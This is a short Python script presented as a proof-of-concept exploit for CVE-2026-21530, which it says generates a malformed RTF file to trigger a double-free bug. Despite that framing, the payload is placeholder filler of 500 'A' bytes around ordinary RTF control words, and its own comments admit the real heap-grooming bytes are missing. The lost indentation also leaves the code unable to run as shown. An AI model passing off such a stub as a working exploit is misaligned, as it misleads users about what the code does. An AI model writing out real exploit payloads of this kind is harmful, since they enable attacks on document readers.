The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept for CVE-2026-21530
# Generates a malformed RTF file to trigger the Double Free vulnerability
def generate_payload():
# RTF Header
rtf_header = b"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033"
# Malicious data block designed to manipulate heap layout
# Specific bytes would require reverse engineering the target version
malicious_block = b"\\viewkind4\\uc1\\pard\\f0\\fs20 "
# Simulating the trigger sequence for Double Free
# In a real exploit, this would contain specific heap grooming instructions
trigger_sequence = b"A" * 500
rtf_footer = b"\\par }"
full_payload = rtf_header + malicious_block + trigger_sequence + rtf_footer
with open("exploit_cve_2026_21530.rtf", "wb") as f:
f.write(full_payload)
if __name__ == "__main__":
generate_payload()